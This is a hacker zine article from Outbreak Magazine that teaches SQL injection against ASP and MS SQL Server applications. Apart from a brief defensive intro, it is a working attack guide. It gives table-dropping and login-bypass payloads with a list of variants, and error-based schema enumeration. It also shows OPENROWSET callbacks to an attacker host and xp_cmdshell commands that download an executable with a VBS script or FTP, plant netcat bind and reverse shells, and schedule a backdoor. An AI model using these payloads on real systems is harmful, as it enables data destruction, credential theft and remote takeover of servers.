 
                                                     
                                                       
               ۰߰     ܰ۰  
             ۱      ܱ߰    ۰
             ۱          ۱      ۰  
                 ܰ߱    ߰۲    
              Outbreak Magazine Issue #10 - Article 17 of 18
           '~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~'


######################################################################
###............   SQL Injection: Theory and Practice   ............###
######################################################################

Intro.
----------------------------------------------------------------------
Recently,  I  was  hired  by an information security firm to code some
backend  SQL  handlers in ASP. I know what you're thinking, a security
company with an IIS based webserver? This is why I'll keep the name to
myself.

When  writing backend applications for a professional web developement
project,  its  really  important  to  check and double check your code 
for  potential  weaknesses.  So,  when  I  was  finished  writing  the 
handlers,  comparing  them to my flowcharts and running  them  through
a few standard test procedures, I began an indepth security audit.

It  was  then  that  I  realized  the  truly  hazardous potential weak 
ASP/SQL   code  could  have  on  sensitive  information  stored  in  a 
database.  Understand that this type of attack is by no means anything 
new,  but after scouring the web for information on this type of vuln-
erability I still believe there is alot of uncharted territory.

   NOTE: The vulnerabilities explored in this text are NOT specific to
         weak  ASP  code and are NOT reflective of any weakness of the 
         SQL  language  itself.  The  vulnerabilities can exist in ANY 
         serverside  program  interacting  with  an SQL server ie ASP, 
         PHP,   CGI,  etc.  All  examples  presented  here  deal  with 
         ASP,  however,  the same  vulnerabilities can be exploited on 
         programs  written  in other languages using variations of the 
         same methods.

Basic SQL.
----------------------------------------------------------------------
To  start,  I'll  build  a  simple,  psuedo  database.  We'll  call it 
"Access Card Usage LOG":

                      Table:Log093002
                     -------------------
   .----.---------.---------.---------.---------.---------.
   | ID | Date    | Time    | LName   | FName   | Door    |
   |----|---------|---------|---------|---------|---------|
   | 12 | 9/30/02 | 6:26    | Smith   | Tom     | Front   |
   | 31 | 9/30/02 | 6:26    | Baily   | Dick    | Front   |
   | 84 | 9/30/02 | 6:41    | Hoover  | Harry   | Side    |
   '----'---------'---------'---------'---------'---------'

Assume the above to be an actual buildings access card useage log. Not
because  its  important  to  the file, because... Its cool. Next we'll
discuss the basics of SQL.

For  the purpose of this file, SQL is a language used to interact with
databases.  The  language  consists of a set of statements that can be
used  together  in a logical series to create a query. SQL queries are
used  to  read  data  from and manipulate the structure or contents of 
databases and is very similar to standard english.

The following is an example of an SQL query to our database.

   SELECT ID, LName, Time FROM Log093002

The  above  could  be  used  to  determine  whether  or not anyone had 
arrived  late  on  the  date  in  question (9/30/02). That query would
return the following:

   .----.---------.---------.
   | 12 | Smith   | 6:26    |       Scheduled arrival time for 9/30/02 
   | 31 | Baily   | 6:26    |       is  6:30. Bad news for mr. Hoover.
   | 84 | Hoover  | 6:41    |       *smirk*
   '----'---------'---------'

What  if  we  only wanted to know the arrival time of Harry Hoover? We 
can  aquire  that  data  using  the  WHERE clause, we will assume that 
the ID field specifies each employees unique Employee Code.

   SELECT ID, LName, Time FROM Log093002 WHERE ID = '84'

   .----.---------.---------.
   | 84 | Hoover  | 6:41    |
   '----'---------'---------'

The  SQL  language also makes use of AND, OR, NOT, etc operators along
with  a  lot  of  other  statements  that I've left out here. For more
information on SQL, I suggest reading the tutorials at w3schools.com.


Weaknesses.
----------------------------------------------------------------------

Imagine  a  database  containing  a list of names, addresses and phone 
numbers similar to the type of database they must be using for 411 and 
double-o  info  type  services online (ie switchboard.com). There is a 
form  on their homepage where a user is able to enter various types of
information  that  is  then  run through an asp handler that grabs and 
displays matching entries from the database.

Here is a snippit from the database:

   .--------------.--------------.-------------------.--------------.
   | LastName     | FirstName    | Address           | PNum         |
   | ...          | ...          | ...               | ...          |
   | Sanders      | Bill         | Someplace  PA     | 612-555-1253 |
   | Borsche      | Sveda        | Nowhere    MS     | 710-555-1212 |
   | ...          | ...          | ...               | ...          |
   '--------------'--------------'-------------------'--------------'

Here is an example of the form:

   <form id="Lookup" method="post" action="Lookup.asp">
      <input id="FirstName" type="text" />
      <input id="LastName"  type="text" />
      <input id="Address"   type="text" />
      <input id="PNum"      type="text" />
      <input id="Submit"    type="submit" value="Submit" />
   </form>

You  would  enter  what  ever  data  you  have  and  click submit. The 
variables  would  then be passed to Lookup.asp. This is where the main
weakness  lies. Lookup.asp's main function is to generate an SQL query
based  on  the users input, and use it to grab data from the database.
The  following  is an example of a weak implementation of this type of
SQL query, here the user entered ONLY the phone number and the omitted
asp code generated the following query:

   sqlQuery = "SELECT * FROM 411db WHERE PNum = '" & PNum & "';       

If the number entered by the user was 710-555-1212, then the above 
variable would translate to this:

   SELECT * FROM 411db WHERE PNum = '710-555-1212'

And, after querying the database, would return:

   .--------------.--------------.-------------------.--------------.
   | Borsche      | Sveda        | Nowhere    MS     | 710-555-1212 |
   '--------------'--------------'-------------------'--------------'

   NOTE: the asterisk (*) between the SELECT and FROM statements is an
         SQL wildcard. Just as in Dos, Unix, etc, it means 'all'.

That  is  the  logical  process.  Its what the developers designed the 
system  to  do,  and  it  does  it  well. But what happens when we try 
something  a  little  less  logical?  This time, instead of entering a
standard ten digit phonenumber... we'll enter a less standard NO digit
phone number. A standard single quote. Namely: '

In this case, Lookup.asp would generate the following SQL query:

   SELECT * FROM 411db WHERE PNum = '''

If  Lookup.asp  is vulnerable (which, in our case, it is) we would get 
a  syntax  error. In SQL every opening quote requires a closing quote.
The  quote  we  entered  in  the PNum input box effectively closes the 
first  quote  generated  by  Lookup.asp,  but  the  last  quote  (also 
generated by Lookup.asp) is left unclosed.
                                    
It  is  possible  for  us  to avoid this error by using an SQL comment 
sequence  (--).  Adding  this  sequence to an SQL query will cause the 
SQL  interpreter  to  ignore anything following the --. so, instead of
entering  a  single  quote  into  the PNum field, we'll enter a single
quote  followed  by  a comment sequence ('--) generating the following
query:

   SELECT * FROM 411db WHERE PNum = ''--'

The  SQL  interpreter  would  then  remove  the  comment  sequence and 
anything following it before processing the request:

   SELECT * FROM 411db WHERE PNum = ''

   NOTE: the  dash  dash  (--)  comment sequence is specific to MS SQL 
         server.  If  the  dash dash comment sequence doesn't work for
         you  try  a  hash (#) as the comment character. If that still
         wont  work,  take  a  look  at  the  next  NOTE  for  another 
         possibility.  All  the  examples  shown  in this text will be 
         using the -- comment sequence.

Hold  on a sec... What did we just do? We got rid of the closing quote 
that Lookup.asp was supposed to end the query with, and added our own!
Yay!  We've  effectively  injected  completely  trivial,  useless code 
through an html form!

Oh  wow.  How  dangerous.  The query we just generated is exactly what 
would  have  been  generated had we submitted a completely blank form.
(of course, if we entered a completely blank form, Lookup.asp may have
noticed  and  complained if it was written with a mechanism to do so).
The  truly  frightening  part  is  the possiblities that arise when we 
begin injecting our own SQL queries.

An  important  thing  to  note  is  that  different SQLs use different
delimiting characters. In the following examples we'll use a semicolon
delimiter. Incase you don't know, a delimiter is a character within an
SQL query (and many other languages) that determines where one command
ends and another begins.

Lets  add to our single quote double dash ('--) input. This time We'll 
place a query between the ' and the -- ie: '; DROP TABLE 411db--

   SELECT * FROM 411db WHERE PNum = ''; DROP TABLE 411db --'

Comments removed:

   SELECT * FROM 411db WHERE PNum = ''; DROP TABLE 411db

In  this  query  we  used  the  DROP  TABLE statement. This particular 
SQL command will completely delete a table from a database. Our single
quote acted as a closing quote to lookup.asp's opening quote, followed
by  our  semicolon (;) effectively ending that first query. DROP TABLE
411db  acted  as  a second query, completely independent of the first, 
and finally our -- eliminated Lookup.asp's final closing quote.

In effect, useing '; DROP TABLE 411db-- as our entry caused Lookup.asp
to completely delete the 411db table.

The  above example was just a taste of the true potential this exploit
really  has.  Lets take a look at another database:

            Table:userlist
           ----------------
   .-----.------------.------------.
   | UID | Username   | Password   |
   |-----|------------|------------|
   | 10  | john       | love       |
   | 10  | bill       | sex        |
   | 5   | dan        | secret     |
   | 0   | root       | god        |
   '-----'------------'------------'

Now  we're getting somewhere. This database is aslo accessed via a web
form. Lets have a look at that as well:

   <form id="auth" method="post" action="auth.asp">
      <input id="username" type="text">
      <input id="password" type="password">
      <input id="submit" type="submit" value="submit">
   </form>

And somewhere within auth.asp, a variable is loaded with an SQL query:
   
   sql = "SELECT * FROM userlist WHERE Username = '" & username & "'
                                  AND Password = '" & password & "'" 

auth.asp  processes the request and the result is tested to see if the
name and password entered match any from the list. Lets take a look at
a translation of a logical interaction:

   SELECT * FROM userlist WHERE Username='john' AND Password='love'

This request would return:

   .-----.------------.------------.
   | 10  | john       | love       |
   '-----'------------'------------'

And  auth.asp would go about logging john into the system. Now this is 
where the true beauty of this vulnerability shows through. We'll start
by testing auth.asp to see if its vulnerable. If using quote as one of
your  inputs  generates  an  SQL  syntax  error, its generally safe to 
assume  that  the  asp  is  vulnerable. If the developer was smart, he 
would  have  filtered  out  quotes.  So  we pass a single quote (') to 
auth.asp  as  the username and the server returns a syntax error. Yay,
weak code.

Now  that  we  know  that  auth.asp  is  exploitable,  there  are  any 
number  of  ways  we  can  use  the  SQL  Injection  technique  to our 
advandage.  For  instance,  in the following example I'll inject an OR 
operator with a true condition to our SQL query. 

Here I'm submitting root as my login and ' OR 0=0-- as my password:

   SELECT * FROM userlist WHERE Username = 'root' AND 
                              Password = '' OR 0=0--'

And with the comments removed:

   SELECT * FROM userlist WHERE Username = 'root' AND
                                 Password = '' OR 0=0

Originally,  auth.asp  would  ONLY log you in if your Password matched
the  stored  Password  for  your Username. But with our injected code, 
auth.asp  will  log  you  in  if  your  Password  matches  the  stored
Password  for your Username OR if 0 is equal to 0, which it always is.

   NOTE: As stated in the last NOTE theres a chance that the dash dash
         (--)  comment  sequence  wont  work. In the case of the above 
         query  theres  another  possibility. The statement 0=0 has no 
         function other than to act as a true condition. we could have
         just  as  easily  said  1=1  or  9999=9999,  so  long  as the 
         condition  we're stating is true. Knowing this along with the 
         fact that auth.asp is adding a single quote (') to the end of
         our query, we can submit a statement like: ' OR 'x' = 'x
         which would generate: 

            SELECT * FROM userlist WHERE Username = 'root' AND 
                                    Password = '' OR 'x' = 'x'

         Making  use  of  the  quote we couldn't eliminate :) Its also 
         important  to  know  that not ALL queries have the exact same
         syntax,  amount  of  parameters, types of parameters, etc and 
         that  in  some  circumstances  you  may  have to use a double 
         quote  (")  in  place of a single quote. Here some variations
         to try:
         
            ' or 0=0 --
            " or 0=0 --
            or 0=0 --
            ' or 0=0 #
            " or 0=0 #
            or 0=0 #
            ' or 'x'='x
            " or "x"="x
            ') or ('x'='x
            
         It  may  look  daunting, but its quite simple to grasp if you 
         try.  I  would suggest trying to understand before you ctrl-c
         ctrl-v the crap out of someone.
         
Maybe  we  want  to  build ourselves a root account... We could simply
inject ';  INSERT INTO USERS values( 0, Dade, zeroco0l )-- causing the
following query to be submitted:

   SELECT * FROM userlist WHERE Username = ''; INSERT INTO USERS
                                     values( 0, Dade, zeroco0l )

There.  Two  completely  independent  queries, the latter adding a new 
account  to  the  database.  Wait a second... I see a problem here. In
order  for us to add an account, we would have to know previously that 
the  table  consists of three columns. Additionally, we'd need to know
What data to store in which column.

By  default,  ASP returns detailed descriptions of all errors. This is 
very  fortunate  because  some of the details listed in the errors can
potentially  leak  information  pertaining  to the structure of tables 
within  the  target database. We'll make use of the ASP error messages
as  an  enumeration technique to map out the userlist table.

   SELECT * FROM userlist WHERE Username = '' HAVING 0=0

Passing  auth.asp  the above query (using ' HAVING 0=0-- as our input)
would  cause  the  program  to  error  out and often display the error
report  to  the  user.  The reason that query errors out is because of
the  way we used the HAVING clause. HAVING is supposed to be used on a
table  column  thats  been called and sorted with the GROUP BY clause.
In  our  case,  no  columns  were sorted using GROUP BY and because we
use  the  *  wildcard  to  grab  ALL the columns, we'd get an error on 
the  first  column  called which is the first column in the table. The
neat  thing  is  that  the error report contains the name of the table
AND the name of the column that caused the error :).

   Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
   
   [Microsoft] [ODBC SQL Server Driver] [SQL Server] Column 
   'userlist.UID' is invalid in the select list because it is not
   contained in an aggregate function and there is no GROUP BY 
   clause.

   /auth.asp, line 28

From the above error report we have determined that the tables name is
userlist and the first column in the table is called UID. I've already
explained  above,  but I'll try one more time for anyone who's lost at 
this  point.  'SELECT * FROM userlist' grabs every column in the table
'userlist'  one  by  one.  We  use  the  HAVING  clause incorrectly to 
purposely  generate a syntax error. Because HAVING looks at the column
in  question,  which  in  our  case  is the FIRST column, the error is
generated ON that column and the server bitches, 'hey asshole, I tried
doing  what  you  asked, but the first column isn't sorted and I can't
use  HAVING  on  an unsorted column. I'll just wait here till you sort 
the column with GROUP BY.'

Lets take another step. We'll try the same thing, only this time we'll
use  the GROUP BY clause to sort the first column. The SQL server will
have  no  trouble using the HAVING clause on that first, sorted column
but  immediately  afterwards,  it  will try using HAVING on the second 
column  (because we're using *)  and  since  the  second  column isn't 
sorted, we'll error out there.

   SELECT * FROM userlist WHERE Username = '' GROUP BY 
                               userlist.UID HAVING 0=0

userlist.UID  passes  the  HAVING  test  fine,  but  the second column
causes the following error:

   Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
   
   [Microsoft] [ODBC SQL Server Driver] [SQL Server] Column 
   'userlist.Username' is invalid in the select list because 
   it is not contained in either an aggregate function or the
   GROUP BY clause.

   /auth.asp, line 28
   
We  can  continue this method and eventually map out the entire table. 
Once  we  have  the  entire table we'll know exactly how to format our 
input  to  add  records  to the table. For instance, after mapping out 
the  userlist table, we'd know the columns are UID, Username, Password
and  could  then  add  our  own  login  to  the table with the correct 
criteria.  Just  to  keep you up to pace, heres what the last query of
our mapping procedure would look like:

   SELECT * FROM userlist WHERE Username = '' GROUP BY userlist.UID,
                     userlist.Username, userlist.Password HAVING 0=0

Here, all the columns in the table have been sorted and the query wont
error out. :)

There  are  other  important things that can be gleaned from sql error 
messages.  Lets  take  a look at the UNION statement. UNION is used to 
merge  the  results  of two separate queries. It is required that both
queries have matching datatypes. For instance:

   SELECT age FROM boys UNION SELECT age FROM girls;

Note that in this example both age in boys and age in girls are of the 
type 'integer'. But what would happen if we were to attempt to merge a 
string  to  an  integer?  Lets see. In userlist we have 3 columns, the 
first  being  an  integer,  the following two being strings. Lets pair
up  the  first integer in userlist (UID) with a string using the UNION
statement and see how it errors out:

   SELECT * FROM userlist WHERE Username = '' UNION 'wo0t', 'x', 'x'

Here we've paired the integer 10 in userlist's column UID with the 
string 'wo0t'. This will produce the following error:

   Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
   
   [Microsoft] [ODBC SQL Server Driver] [SQL Server] Syntax error 
   converting the char value 'wo0t' to a column of data type int.

   /auth.asp, line 28

boohaw.  SQL  has reported the actual contents of the string we passed 
it  ('wo0t').  This is a good way to pull a bit more info from the SQL 
server.  For  instance,  SQL  server  comes  equipped  with a built in 
constant  called  @@version.  Stored within @@version is some detailed
information  about  the  version,  build,  release  of  the sql server 
running and the platform it is running on.

Lets submit the same type of query, but this time we'll pair the 
integer column UID with the string constant @@version:

   Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
   
   [Microsoft] [ODBC SQL Server Driver] [SQL Server] Syntax error 
   converting the char value 'Microsoft SQL Server 2000 - 8.00.194
   (Intel X86) Aug 6 2000 00:57:48 Copyright 1988-2000 Microsoft
   Corporation Enterprise Edition on Windows 2000 2.0 (Build 6132:
   Service Pack 3) ' to a column of data type int.

   /auth.asp, line 28

*nods*  interesting. Unlike  most  compile  and  run or copy and paste 
exploits,   SQL   Injection  requires  a  little  bit  of  cleverness, 
so  for  anyone  interested,  there's  a  list  of  @@  constants  at: 
http://www.ddart.net/mssql/sql2000/html/  maybe  you'll find something
to do with them that I havn't :)

Now,  in an attempt to thwart these types of attacks, a savvy sysadmin 
can  configure his sql server to not display these errors to the user.
On  top  of  that, there are plenty of other ways an administrator can 
stop  potential  attackers  by making it difficult for them to see the
results  of their queries. All of a sudden things look a little bleak.
Never fear, theres more :)

If  you  can't see error messages, and theres nothing in the .asp that
you  can force to display your queries results in the browser, how can
you do anything? Its like hacking blind. Well, Theres an SQL statement
suited  to this problem. OPENROWSET is a component of SQL that has the 
ability  to  grab  data  from/pass  data  too  remote databases. Using 
OPENROWSET  its possible to do plenty of fun things. For instance lets
say  the attacker has SQL Server running on his system. He queries the 
sql  server he's attacking and recieves no error msg... So how does he
know  its  even vulnerable? he can use OPENROWSET in his query to have 
the  victim  sql server attempt to pull data from HIS sql server. He'd 
notice  the  inbound connection on his system and, therefore know that
hes executing queries on the target server :)

He would do that with the following injection:

   SELECT * FROM userlist WHERE Username = ''; SELECT * FROM 
           OPENROWSET('SQLoledb', uid=username; pwd=password
           network=DBMSSOCN;address=0.0.0.0,31337;', 'SELECT
           * FROM userlist')

As  you know, the first query is created by auth.asp and not important
to  us  in  anyway.  we've  successfully  injected  the  second query, 
beginning  with  the  second  SELECT  statement.  This will connect to 
a  remote  SQL  server running on port 31337 of 0.0.0.0 (of course the
attacker  would  change  these  to the ip,port that his sql server was 
running  on. The attacker would then watch with his firewall or packet
logging software or what have you for the inbound connection.

Now  it  is,  of  course,  possible that the system the target servers 
running  on  is behind a firewall. If the firewall wont allow outbound 
connections  to  port  31337 then the above attack wouldn't work. This
is  not  necessarily  a  bad thing though... We can use this behaviour
to determine the firewalls rulesets :) Try various ports and determine
which  ones  we  can  initiate  outbound  connections through. This is 
particularly  useful  when  we  come  to realize that the SQL language
comes  equipped  with  the  ability to upload and execute files on the 
server. 

This  can be accomplished using the xp_cmdshell procedure. xp_cmdshell
is  basically  an SQL command that will spawn a command shell and pass
arguments  to it. Anyone thats used DOS extensively can probably think
of  plenty of fun things to do with this procedure. For instance, lets
use  the  dos command ECHO and the append operator (>>) to construct a
.vbs file on the servers filesystem:

   SELECT * FROM userlist where USERNAME = ''; 
                exec master..xp_cmdshell 'echo 
                code for our .vbs program >> 
                0wn3d.vbs'

As you can see, the syntax for xp_cmdshell is exec master..xp_cmdshell 
'command'.  There are plenty of interesting things we could stuff that 
.vbs  with...  possibly  some  code to fetch files off the web? 

   Set xmlHTTP = CreateObject("MSXML2.ServerXMLHTTP")
   URL= "http://www.domain.com/file.exe"
   xmlHTTP.open "GET", URL, false
   xmlHTTP.send()
   set myStream = CreateObject("ADODB.Stream")
   myStream.Open
   myStream.Type = 1
   myStream.Write xmlHTTP.ResponseBody
   myStream.Position = 0    'Set the stream position to the start
   myXMLfile = "D:\file.zip"
   set FSO = Createobject("Scripting.FileSystemObject")
   if fso.Fileexists(myXMLfile) then Fso.DeleteFile myXMLfile
   set FSO = Nothing
   myStream.SaveToFile myXMLfile
   myStream.Close
   Set myStream = Nothing
	
Or  for  those  who don't know vbscript, you could use the same method 
to  stuff a file with FTP commands and run ftp with the input piped in 
from that file. You would fill up a file with ftp commands like this:

   exec master..xp_cmdshell 'echo open 0.0.0.0 21 >> ftp.dat'
   exec master..xp_cmdshell 'echo username >> ftp.dat'
   exec master..xp_cmdshell 'echo password >> ftp.dat'
   exec master..xp_cmdshell 'echo lcd c:\ >> ftp.dat'
   exec master..xp_cmdshell 'echo binary >> ftp.dat'
   exec master..xp_cmdshell 'echo get path\file.exe >> ftp.dat'

Then finally, you would use the command:

   exec master..xp_cmdshell 'ftp.exe < ftp.dat'

Which would run ftp using all the commands in ftp.dat as its input.

We  could use this technique to upload netcat to the target server and
have  it  hardlisten  to some port acting as a backdoor. we could also
execute  the  AT  command from the command line adding our backdoor to 
the  win2k  scheduling program (assuming win2k is the platform running
and the scheduling service is running.

   exec master..xp_cmdshell 'nc -L -d -e cmd.exe -p 31337'
   exec master..xp_cmdshell 'AT 00:00 /every:M "nc -L -d -e cmd.exe -p
                                                               31337"'

Of  course,  instead  of 31337, you would use a port that you know you
can  connect  to.  Wait,  what  if the firewall is too picky for that?
well,  we  can  get  around this also. Often a firewall will do a damn
good  job keeping packets from getting in... but they don't often make 
to  big  a  deal  of letting packets out. We can initiate a connection 
from inside the firewall like this:

   exec master..xp_cmdshell 'nc -d -e cmd.exe 0.0.0.0 31337'

Replacing  0.0.0.0  with  the  attackers  system, or a system he is in 
control  of  and  having that system listen on port 31337 (or any port 
that the firewall will packets flow out through, remember when we used
openrowset to mine those types of rules from the firewall? hurrah.

You  can  also  use  the  timeout property  of openrowset to turn your 
target into a portscanner. the possibilities are endless. :)


Well,  I'm sure theres a few things I'm missing... but I'm on a bit of
a  tight  schedual  this week... Kleptics waiting on me. If anyone has 
any questions feel free to ask me at dropc0de@yahoo.com. 
----------------------------------------------------------------------

greets: savvyD,  ramb0x,  gr3p,  kleptic,  dirv,  jenny,  lexi, lenny, 
        turb, joja, smiley, again. And this time i'd like to add Kybo,
        Count and Forge. :D

